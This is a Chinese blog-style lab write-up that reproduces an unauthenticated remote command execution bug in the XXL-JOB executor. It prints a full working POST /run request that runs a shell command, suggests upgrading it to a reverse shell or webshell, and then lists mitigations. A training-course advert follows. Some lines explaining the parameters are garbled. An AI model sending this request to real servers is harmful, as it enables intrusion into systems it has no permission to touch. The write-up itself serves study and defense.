XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-
JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。
漏洞影响版本 :<=2.2.0
executor默认没有配置认证,未授权的攻击者可以通过RESTful API接口执行任意命令。
此漏洞为Xxljob配置不当情况下反序列化RCE
XxlJob <=2.1.2,需要利用Hessian触发。
XxlJob >= 2.2.0 会支持RESTFUL API,直接打公开的POC过去即可。
在官方文档的执行器配置文件中说到端口号在默认情况下是9999
---------------------------------------------------------------------------------------------------------------------------------
漏洞复现
docker-compose up -d
下载并启动环境后,访问 http://ip:8080
可以看到管理端,访问http://ip:9999
可以看到客户端
通过burp抓包,获取客户端的数据包,将该数据包替换成以下数据包
POST /run HTTP/1.1
Host: 172.16.102.66:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 377
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/NoBodyCanFuckWithMe",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
这是参数的意思
"jobId":1, //任务ID
"executorHandler":"demoobHandler", //任务标识
"executorParams":;"demo3obHandler", //任务参数
"executorB1ockstrategy":"cOVER_EARLY", //任务阻塞策略,可选值参考
com.xx1.job.core.enums.ExecutorB1ockstrategyEnum
"executorTimeout":o, //任务超时时间,单位秒,大于零时生效
"logId":1, //本次调度日志ID
"logDateTime ":1586629003729, //本次调度日志时间
"glueType":"BEAN", //任务模式,可选值参考com.xx1.job.core.glue.alueTypeEnum
"gluesource":"xxx", //GLUE脚本代码
"glueupdatetime":1586629003727, /GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
"broadcastIndex" : 0, //分片参数:当前分片
"broadcastTota7":o //分片参数:总分片
然后去验证一下
进入/tmp目录,查看
发现存在我们刚刚创建的文件
漏洞复现完成
---------------------------------------------------------------------------------------------------------------------------------
实验过程出现的问题
①直接进入会出现一些页面报错
这个问题应该是无伤大雅,不影响正常使用,直接抓客户端的包然后送到repeater即可
②进入虚拟容器命令
进入虚拟容器时,官方在目录下给的图片提示中用的命令是 docker-compose.exe exec executor bash
然而这个命令我因为没有下载 docker-compose.exe用不了
最后在网上到处搜资料,发现使用docker-compose exec executor bash
也是可以的
---------------------------------------------------------------------------------------------------------------------------------
拓展思考
在我们发送的数据包中,有这样一条指令
"glueSource": "touch /tmp/NoBodyCanFuckWithMe"
这一条代表的是执行我们需要执行的命令的参数(这里用的是生成一个文件的指令)
要想进一步利用这个漏洞
可以将命令替换成反弹Shell
或者
能否生成一个含有一句话木马的php文件,然后通过工具来连接呢
---------------------------------------------------------------------------------------------------------------------------------
修复办法
针对该问题,现提供几种安全防护策略。
-
1、开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。
-
2、端口防护:及时更换默认的执行器端口,不建议直接将默认的9999端口开放到公网。
-
3、端口访问限制:通过配置安全组限制只允许指定IP才能访问执行器9999端
---------------------------------------------------------------------------------------------------------------------------------
(如果文章内容有误,麻烦大佬们指点,我会及时改正,如果帮助到了您,麻烦点个赞呗)
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!